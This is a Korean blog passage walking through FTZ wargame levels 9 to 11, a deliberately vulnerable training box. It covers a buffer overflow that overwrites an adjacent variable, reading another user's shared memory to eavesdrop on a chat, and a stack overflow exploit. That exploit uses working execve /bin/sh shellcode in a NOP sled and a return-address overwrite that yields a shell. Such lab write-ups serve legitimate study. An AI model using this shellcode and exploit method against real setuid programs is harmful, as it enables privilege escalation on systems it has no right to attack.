FTZ level11

Posted by dw0rdptr
2015. 3. 17. 21:02 System/FTZ


-hint-

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h> 
int main( int argc, char *argv[] ){    
    
    char str[256];     
 
    setreuid( 30923092 );    
    strcpy( str, argv[1] );    
    printf( str );
cs



-gcc 2.96

(이 버전 이상의 gcc 컴파일러에서는 dummy값 추가)



높은주소        ↓방향으로 스택쌓임

----------

      ret            4byte

----------

      sfp            (saved frame pointer) 4byte

----------

   dummy1       buffer의 크기가 9byte 이상이면 8byte로 일정한 크기

----------

   dummy2      buffer의 시작주소와 dummy1의 시작주소 사이 거리가 16의배수가 되게 만든다.

----------    (거리는 256byte, 16의 배수이므로 dummy2의 크기는 0)

   str[256]        -buffer

----------

낮은주소



str에 버퍼 256byte 선언


dummy 8byte + sfp 4byte + ret의 시작주소까지 268byte



*참고


25byte 쉘코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80


2번째걸씀



export 명령어로 환경변수 shellcode 선언하고 25byte 쉘코드입력


export shellcode=`python -c 'print "\x90"*50 + "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`



* "\x90"=NOP sled(nop 썰매)

 NOP은 CPU가 아무일도 하지 않는다는 명령어이다

 환경변수에 바로 쉘코드를 올리면 프로그램에서 환경변수를 참조할때 

 항상 쉘코드의 시작주소에서 시작하지는 않기 때문에

 아무곳에서나 참조하더라도 NOP을 만나면 그대로 쉘코드를 만나 실행하게된다




-환경변수 주소를 찾는 소스


1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){    
 
    char *addr;    
    addr=getenv(argv[1]);    
 
    printf("The address of %s is %p\n",argv[1],addr);    
    return 0;
}
cs


gcc로 컴파일 한 뒤 실행한다


./get shellcode

The address of shellcode is 0xbffffc1e



환경변수 shellcode의 주소값이나온다



공격코드를 짜보면

./attackme `python -c 'print "A"*268 + "\x1e\xfc\xff\xbf"'`

                        (shellcode의 주소)


A로 str[256]+dummy[8]+sfp[4]=268byte를 모두 채운 후 ret자리에 shellcode의 주소를 넣게 된다


스크립트를 실행하면!


sh-2.05b$ 


성공


level12의 패스워드는


이 문제처럼 버퍼의 크기가 큰 경우 환경변수를 쓰지 않고 버퍼에 직접 쉘코드를 

입력하고 ret주소를 버퍼의 시작주소로 바꾸는 방법도 있다.



'System > FTZ' 카테고리의 다른 글

FTZ level13  (0) 2015.03.17
FTZ level12  (0) 2015.03.17
FTZ level10  (0) 2015.03.17
FTZ level9  (0) 2015.03.17
FTZ level8  (0) 2015.03.17

FTZ level10

Posted by dw0rdptr
2015. 3. 17. 20:54 System/FTZ



hint :

두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다.

그 대화방은 공유 메모리를 이용하여 만들어졌으며, 

key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여 

level11의 권한을 얻어라.



공유메모리와 공유메모리와 관련된 함수에 대한 자세한 설명은 

http://geundi.tistory.com/52


key_t의 값을 알고있으니 key_t를 이용해 식별자를 구하고

식별자로 공유메모리의 주소를 구해 그 내용을 출력하는 프로그램을 짜면

다음레벨의 패스워드를 알 수 있다.



-프로그램소스 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <sys/types.h>
#include <sys/shm.h>
int main(){        
 
    int identifier;            
    int address;        
    int key;        
 
    printf("input key_t:");     //key_t입력        
    scanf("%d",&key);        
 
    identifier = shmget(key,0,IPC_CREAT);   //shmget함수로 식별자 구하기        
    address = shmat(identifier,0,0);           //shmget함수의 리턴값(식별자)로 공유메모리주소 구하기
 
    printf("%s",address);               //주소에있는 대화 출력        
    return 0;
}
 
cs


멍 멍 : level11의 패스워드는?


'System > FTZ' 카테고리의 다른 글

FTZ level12  (0) 2015.03.17
FTZ level11  (0) 2015.03.17
FTZ level9  (0) 2015.03.17
FTZ level8  (0) 2015.03.17
FTZ level7  (0) 2015.03.17

FTZ level9

Posted by dw0rdptr
2015. 3. 17. 20:51 System/FTZ


hint :


다음은 /usr/bin/bof의 소스이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
   
    char buf2[10];  
    char buf[10];   
 
    printf("It can be overflow : ");  
    fgets(buf,40,stdin);   
    
    if ( strncmp(buf2, "go"2== 0 )
{        
        printf("Good Skill!\n");        
        setreuid( 30103010 );        
        system("/bin/bash");   
    } 
}   
 
cs

이를 이용하여 level10의 권한을 얻어라.



ftz에서 처음 나오는 버퍼 오버플로우 문제이다.

버퍼오버플로우가 뭔지 모른다면 관련 기초문서를 보고 오는게 좋다.



먼저 소스를 분석해보자


스택에 10바이트 크기의 char형 배열 buf2를 선언한다

그 후 10바이트 크기의 char형 배열 buf를 하나 더 선언한다.


그리고 fgets함수로 buf에 입력은 받은 뒤

strncmp함수로 buf2와 문자열 "go" 의 처음 두자리를 비교한 뒤 함수의 리턴값이 0이면 (처음 두자리가 같으면)

Good Skill!을 출력하고 level10의 권한으로 쉘을 실행시킨다.


fgets함수는 40바이트까지 입력을 할수 있게 되어있지만 실제 buf의 크기는 10이므로

10바이트 넘게 입력을 하면 버퍼오버플로우가 일어나 buf2로 입력이 가능하다.



메모리의 높은 주소

-------------                                    

     ret         4byte                               

-------------                                       ↓ 스택이 자라는 방향  

     sfp         4byte (saved frame pointer)

-------------

  dummy1     ???

-------------

  dummy2     ???

-------------

   buf2[10]    10byte

-------------

  dummy3     ???

-------------

   buf[10]     10byte

-------------

메모리의 낮은 주소


dummy3의 크기는 buf와 buf2에 따라 결정된다

buf와 buf2의 크기가 모두 9byte 이상일때, 

buf의 시작주소와 buf2의 시작주소까지의 거리가 16의 배수가 되게 dummy3의 크기가 결정된다.

(http://geundi.tistory.com/120 참고)


따라서 dummy3의 크기는 6byte가 된다.


이제 buf2의 처음 두 자리에 "go" 라는 문자열이 들어가게 하려면

buf+dummy3 = 16(byte)를 아무 문자로 채우고 go를 입력한다


[level10@ftz bin]$ ./bof

It can be overflow : aaaaaaaaaaaaaaaago

Good Skill!

[level10@ftz bin]$ my-pass



'System > FTZ' 카테고리의 다른 글

FTZ level11  (0) 2015.03.17
FTZ level10  (0) 2015.03.17
FTZ level8  (0) 2015.03.17
FTZ level7  (0) 2015.03.17
FTZ level6  (0) 2015.03.17